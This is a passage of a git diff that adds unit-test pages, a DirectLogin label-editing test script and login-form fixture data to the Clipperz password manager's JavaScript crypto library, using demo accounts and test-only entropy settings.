// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
169
frontend/gamma/tests/tests/Clipperz/PM/Crypto_test.html
Normal file
@@ -0,0 +1,169 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.Crypto - TEST</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/JSON/json2.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/DOM.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
|
||||
<!-- ================================================================================ --> <script>
|
||||
//MochiKit.DOM.addLoadEvent(MochiKit.Base.partial(MochiKit.LoggingPane.createLoggingPane, true));
|
||||
//MochiKit.Logging.logger.useNativeConsole = true;
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
encodePassword = function (anEvent) {
|
||||
var username;
|
||||
var password;
|
||||
var encodedPassword;
|
||||
var srpConnection;
|
||||
|
||||
anEvent.stop();
|
||||
|
||||
srpConnection = new Clipperz.PM.Connection.SRP['1.1']();
|
||||
|
||||
username = MochiKit.DOM.getElement('username').value;
|
||||
passphrase = MochiKit.DOM.getElement('passphrase').value;
|
||||
encodedPassword = srpConnection.normalizedCredentials({'username':username , 'password':passphrase })['password'];
|
||||
|
||||
MochiKit.DOM.getElement('encodedPassword').value = encodedPassword;
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
decryptData = function (anEvent) {
|
||||
var deferredResult;
|
||||
var key;
|
||||
var version;
|
||||
var value;
|
||||
|
||||
key = MochiKit.DOM.getElement('key').value;
|
||||
version = MochiKit.DOM.getElement('version').value;
|
||||
value = MochiKit.DOM.getElement('encryptedText').value;
|
||||
|
||||
anEvent.stop();
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("Decrypted data", {trace:false});
|
||||
deferredResult.addCallback(Clipperz.PM.Crypto.deferredDecrypt, {key:key, version:version, value:value});
|
||||
deferredResult.addCallback(Clipperz.Base.serializeJSON);
|
||||
deferredResult.addCallback(function (aValue) {
|
||||
MochiKit.DOM.getElement('decryptedText').value = aValue;
|
||||
});
|
||||
deferredResult.addErrback(alert);
|
||||
|
||||
deferredResult.callback();
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
encryptData = function (anEvent) {
|
||||
var deferredResult;
|
||||
var key;
|
||||
var version;
|
||||
var value;
|
||||
|
||||
key = MochiKit.DOM.getElement('key').value;
|
||||
version = MochiKit.DOM.getElement('version').value;
|
||||
value = Clipperz.Base.evalJSON(MochiKit.DOM.getElement('decryptedText').value);
|
||||
|
||||
anEvent.stop();
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("Encrypted data", {trace:false});
|
||||
deferredResult.addCallback(Clipperz.PM.Crypto.deferredEncrypt, {key:key, version:version, value:value});
|
||||
deferredResult.addCallback(function (aValue) {
|
||||
MochiKit.DOM.getElement('encryptedText').value = aValue;
|
||||
});
|
||||
deferredResult.addErrback(alert);
|
||||
|
||||
deferredResult.callback();
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
init = function () {
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
|
||||
|
||||
MochiKit.Signal.connect('decryptForm', 'onsubmit', decryptData)
|
||||
MochiKit.Signal.connect('decryptButton', 'onclick', decryptData)
|
||||
MochiKit.Signal.connect('encryptButton', 'onclick', encryptData)
|
||||
|
||||
// MochiKit.Signal.connect('encodePassword', 'onclick', encodePassword)
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
MochiKit.DOM.addLoadEvent(init);
|
||||
|
||||
</script> <!-- =============================================================================== -->
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<!--
|
||||
<form id='computeKey'>
|
||||
<input type='text' name='username' value='' id='username' size='30'/>
|
||||
<input type='text' name='passphrase' value='' id='passphrase' size='30'/>
|
||||
<input type='button' name='encode' value='encode' id='encodePassword'>
|
||||
<input type='text' name='encodedPassword' value='' id='encodedPassword' size='30'/>
|
||||
</form>
|
||||
<hr>
|
||||
-->
|
||||
<form id='decryptForm'>
|
||||
<div><textarea id='encryptedText' cols='80' rows='20'></textarea></div>
|
||||
<div><input type='text' name='key' value='' id='key' size='30'/></div>
|
||||
<div><input type='text' name='version' value='0.3' id='version' /></div>
|
||||
<div><input type='button' name='decrypt' value='decrypt' id='decryptButton'> <input type='button' name='encrypt' value='encrypt' id='encryptButton'></div>
|
||||
<hr>
|
||||
<div><textarea id='decryptedText' cols='80' rows='20' style="background-color: lightgrey;"><result></textarea></div>
|
||||
</form>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,103 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.DataModel.DirectLogin - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Signal.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Toll.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Offline.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Test.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Offline.DataStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Strings.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Strings/Strings_en-US.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/EncryptedRemoteObject.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.Version.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.Version.Field.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLogin.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginInput.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginBinding.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.Legacy.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.RecordIndex.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.Preferences.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.OneTimePasswords.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/OneTimePassword.js'></script>
|
||||
|
||||
<script type="text/javascript" src="../../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
<script>
|
||||
Clipperz_IEisBroken = false;
|
||||
</script>
|
||||
|
||||
<!--[if IE]><script>
|
||||
Clipperz_IEisBroken = true;
|
||||
Clipperz_normalizedNewLine = '\x0d\x0a';
|
||||
</script><![endif]-->
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script>
|
||||
Clipperz.PM.Strings.Languages.setSelectedLanguage('en-us');
|
||||
</script>
|
||||
<script type="text/javascript" src="User.data.js"></script>
|
||||
<script type="text/javascript" src="User.data.old.js"></script>
|
||||
<script type="text/javascript" src="DirectLogin.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,195 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
|
||||
var tests = {
|
||||
|
||||
/*
|
||||
user = new Clipperz.PM.DataModel.User({username:'test', getPassphraseFunction:function () { return 'test';}});
|
||||
...
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['test_test_offline_copy_data']);
|
||||
deferredResult.addMethod(user, 'getRecord', '8280842f41162b673335b63860637e8472e8bbff0efa2bc78b0dbc5e09712e13');
|
||||
|
||||
|
||||
user = new Clipperz.PM.DataModel.User({username:'joe', getPassphraseFunction:function () { return 'clipperz';}});
|
||||
...
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['joe_clipperz_offline_copy_data']);
|
||||
deferredResult.addMethod(user, 'getRecord', '5cdac63b317f3942da38f3a3de3b7f0e5d6678200951c6216230295550f63fb4'); // WEB PASSWORD (0)
|
||||
deferredResult.addMethod(user, 'getRecord', '36ec1a41118813ced3553534fa2607d781cba687768db305beed368a8e06e113'); // DIGG (1)
|
||||
deferredResult.addMethod(user, 'getRecord', 'c0ce9130ca365bb02418d4305ea1d29e49c3f0e96d44b9d3cb6b4b6843d25065'); // SAP (2)
|
||||
deferredResult.addMethod(user, 'getRecord', 'd5f700b9c3367c39551ea49e00a9ab20dae09dd79d46047b983fc7c4bfaa050d'); // YAHOO (4)
|
||||
DirectLogin references
|
||||
- dba0db679802f0e6aa6d0b7a6aaf42350aabc5f057409edd99a268a92ebb6496 // Yahoo! Mail
|
||||
- aa18149164302d5dbe7e2d3724565b9550e00887b49978559783b2e38c625584 // (Yahoo! Groups)
|
||||
- 6f7bbc4e42ea462b5246e6f51c3f86056bec50601ce2de6067c8c1d26f21c07f // (Flickr)
|
||||
- a7b32e72502804bf2946a2a8856139cbbb759c5777e6b3e673db1fdf7e3bd06e // (My Yahoo!)
|
||||
*/
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'editDirectLoginLabel_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var proxy;
|
||||
var user;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, isDefault:true, readOnly:false});
|
||||
user = new Clipperz.PM.DataModel.User({username:'joe', getPassphraseFunction:function () { return 'clipperz';}});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("editDirectLoginLabel_test", someTestArgs);
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['joe_clipperz_offline_copy_data']);
|
||||
deferredResult.addMethod(user, 'login');
|
||||
deferredResult.addMethod(user, 'getRecord', 'd5f700b9c3367c39551ea49e00a9ab20dae09dd79d46047b983fc7c4bfaa050d'); // YAHOO (4)
|
||||
deferredResult.addMethodcaller('directLogins');
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('dba0db679802f0e6aa6d0b7a6aaf42350aabc5f057409edd99a268a92ebb6496'));
|
||||
deferredResult.addCallback(function (aDirectLogin) {
|
||||
var innerDeferredResult;
|
||||
var updatedLabel;
|
||||
|
||||
updatedLabel = "updated Yahoo! Mail label";
|
||||
|
||||
innerDeferredResult = new Clipperz.Async.Deferred("editDirectLoginLabel_test <inner>", someTestArgs);
|
||||
innerDeferredResult.addMethod(aDirectLogin, 'label');
|
||||
innerDeferredResult.addTest("Yahoo! Mail", "The label of the selected direct login is correct.");
|
||||
innerDeferredResult.addMethod(aDirectLogin, 'setLabel', updatedLabel);
|
||||
|
||||
innerDeferredResult.addMethod(aDirectLogin, 'label');
|
||||
innerDeferredResult.addTest(updatedLabel, "The DirectLogin returns the correct label even before committing data.");
|
||||
|
||||
innerDeferredResult.addMethod(user, 'hasPendingChanges');
|
||||
innerDeferredResult.addTest(true, "When changing the label of a DirectLogin, the user should report pending changes.");
|
||||
|
||||
//innerDeferredResult.addCallback(function () { console.log("+_+_+_+_+_+_+_+_+_+_+_+ >>>")});
|
||||
innerDeferredResult.addMethod(user, 'saveChanges');
|
||||
//innerDeferredResult.addCallback(function () { console.log("+_+_+_+_+_+_+_+_+_+_+_+ <<<")});
|
||||
innerDeferredResult.addMethod(user, 'hasPendingChanges');
|
||||
innerDeferredResult.addTest(false, "After saving changes there should be no pending changes left.");
|
||||
|
||||
innerDeferredResult.addMethod(aDirectLogin, 'label');
|
||||
innerDeferredResult.addTest(updatedLabel, "The DirectLogin returns the correct label even after committing data.");
|
||||
|
||||
innerDeferredResult.callback();
|
||||
|
||||
return innerDeferredResult;
|
||||
})
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'editDirectLoginLabel_thanResetItToThePreviousValue_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var proxy;
|
||||
var user;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, isDefault:true, readOnly:false});
|
||||
user = new Clipperz.PM.DataModel.User({username:'joe', getPassphraseFunction:function () { return 'clipperz';}});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("editDirectLoginLabel_thanResetItToThePreviousValue_test", someTestArgs);
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['joe_clipperz_offline_copy_data']);
|
||||
deferredResult.addMethod(user, 'login');
|
||||
deferredResult.addMethod(user, 'getRecord', 'd5f700b9c3367c39551ea49e00a9ab20dae09dd79d46047b983fc7c4bfaa050d'); // YAHOO (4)
|
||||
deferredResult.addMethodcaller('directLogins');
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('dba0db679802f0e6aa6d0b7a6aaf42350aabc5f057409edd99a268a92ebb6496'));
|
||||
deferredResult.addCallback(function (aDirectLogin) {
|
||||
var innerDeferredResult;
|
||||
var originalLabel;
|
||||
var updatedLabel;
|
||||
|
||||
originalLabel = "Yahoo! Mail";
|
||||
updatedLabel = "updated Yahoo! Mail label";
|
||||
|
||||
innerDeferredResult = new Clipperz.Async.Deferred("editDirectLoginLabel_thanResetItToThePreviousValue_test <inner>", someTestArgs);
|
||||
innerDeferredResult.addMethod(aDirectLogin, 'label');
|
||||
innerDeferredResult.addTest(originalLabel, "The label of the selected direct login is correct.");
|
||||
innerDeferredResult.addMethod(aDirectLogin, 'setLabel', updatedLabel);
|
||||
|
||||
innerDeferredResult.addMethod(aDirectLogin, 'label');
|
||||
innerDeferredResult.addTest(updatedLabel, "The DirectLogin returns the correct label even before committing data.");
|
||||
|
||||
innerDeferredResult.addMethod(user, 'hasPendingChanges');
|
||||
innerDeferredResult.addTest(true, "When changing the label of a DirectLogin, the user should report pending changes [2].");
|
||||
|
||||
innerDeferredResult.addMethod(aDirectLogin, 'setLabel', originalLabel);
|
||||
|
||||
innerDeferredResult.addMethod(aDirectLogin, 'hasPendingChanges');
|
||||
innerDeferredResult.addTest(false, "Restoring the original label, the directLogin should report no pending changes.");
|
||||
|
||||
innerDeferredResult.addMethod(aDirectLogin.record(), 'hasPendingChanges');
|
||||
innerDeferredResult.addTest(false, "Restoring the original label, the record should report no pending changes.");
|
||||
|
||||
innerDeferredResult.addMethod(user, 'hasPendingChanges');
|
||||
innerDeferredResult.addTest(false, "Restoring the original label, the user should report no pending changes.");
|
||||
|
||||
innerDeferredResult.callback();
|
||||
|
||||
return innerDeferredResult;
|
||||
})
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
/*
|
||||
'bindingValues_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var proxy;
|
||||
var user;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, isDefault:true, readOnly:false});
|
||||
user = new Clipperz.PM.DataModel.User({username:'joe', getPassphraseFunction:function () { return 'clipperz';}});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("DirectLogin.bindingValues_test", someTestArgs);
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['joe_clipperz_offline_copy_data']);
|
||||
deferredResult.addMethod(user, 'login');
|
||||
deferredResult.addMethod(user, 'getRecord', 'd5f700b9c3367c39551ea49e00a9ab20dae09dd79d46047b983fc7c4bfaa050d'); // YAHOO (4)
|
||||
deferredResult.addMethodcaller('directLogins');
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('dba0db679802f0e6aa6d0b7a6aaf42350aabc5f057409edd99a268a92ebb6496'));
|
||||
deferredResult.addMethodcaller('bindingValues');
|
||||
deferredResult.addCallback(function (someBindingValues) {
|
||||
SimpleTest.is(MochiKit.Base.keys(someBindingValues).length, 2, "there should be 2 bindings for this direct login");
|
||||
SimpleTest.is(someBindingValues['login'], 'joe.clipperz', "the login field should be filled with 'joe.clipperz'");
|
||||
SimpleTest.is(someBindingValues['passwd'], 'enfvDG1RxAsl', "the passwd field should be filled with 'enfvDG1RxAsl'");
|
||||
})
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
*/
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.PM.DataModel.DirectLogin", tests, {trace:false});
|
||||
@@ -0,0 +1,33 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
directLoginConfigurations = {
|
||||
'Yahoo! Mail': '{\n "page": {\n "title": "Yahoo! Mail"\n },\n "form": {\n "attributes": {\n "action": "https://login.yahoo.com/config/login?",\n "method": "post"\n },\n "inputs": [\n {\n "type": "hidden",\n "name": ".tries",\n "value": "1"\n },\n {\n "type": "hidden",\n "name": ".src",\n "value": "ym"\n },\n {\n "type": "hidden",\n "name": ".md5",\n "value": ""\n },\n {\n "type": "hidden",\n "name": ".hash",\n "value": ""\n },\n {\n "type": "hidden",\n "name": ".js",\n "value": ""\n },\n {\n "type": "hidden",\n "name": ".last",\n "value": ""\n },\n {\n "type": "hidden",\n "name": "promo",\n "value": ""\n },\n {\n "type": "hidden",\n "name": ".intl",\n "value": "us"\n },\n {\n "type": "hidden",\n "name": ".bypass",\n "value": ""\n },\n {\n "type": "hidden",\n "name": ".partner",\n "value": ""\n },\n {\n "type": "hidden",\n "name": ".u",\n "value": "5gp62cl2vg3ov"\n },\n {\n "type": "hidden",\n "name": ".v",\n "value": "0"\n },\n {\n "type": "hidden",\n "name": ".challenge",\n "value": "iBEY0IK6k3t9Uals32mrTos8s48p"\n },\n {\n "type": "hidden",\n "name": ".yplus",\n "value": ""\n },\n {\n "type": "hidden",\n "name": ".emailCode",\n "value": ""\n },\n {\n "type": "hidden",\n "name": "pkg",\n "value": ""\n },\n {\n "type": "hidden",\n "name": "stepid",\n "value": ""\n },\n {\n "type": "hidden",\n "name": ".ev",\n "value": ""\n },\n {\n "type": "hidden",\n "name": "hasMsgr",\n "value": "0"\n },\n {\n "type": "hidden",\n "name": ".chkP",\n "value": "Y"\n },\n {\n "type": "hidden",\n "name": ".done",\n "value": "http://mail.yahoo.com"\n },\n {\n "type": "hidden",\n "name": ".pd",\n "value": "ym_ver%3d0%26c="\n },\n {\n "type": "text",\n "name": "login",\n "value": ""\n },\n {\n "type": "password",\n "name": "passwd",\n "value": ""\n },\n {\n "type": "checkbox",\n "name": ".persistent",\n "value": "y"\n },\n {\n "type": "submit",\n "name": ".save",\n "value": "Sign In"\n }\n ]\n },\n "version": "0.2"\n}',
|
||||
'Parallels': '{"page": {"title": "Parallels Account"},\n"form": {"attributes": {"action": "https://www.parallels.com/account/",\n"method": "post"},\n"inputs": [{"type": "text",\n"name": "Email",\n"value": ""},\n{"type": "password",\n"name": "Password",\n"value": ""}]},\n"version": "0.2.3"}',
|
||||
__syntaxFix__: "syntax fix"
|
||||
};
|
||||
@@ -0,0 +1,66 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.DataModel.EncryptedRemoteObject - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Signal.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
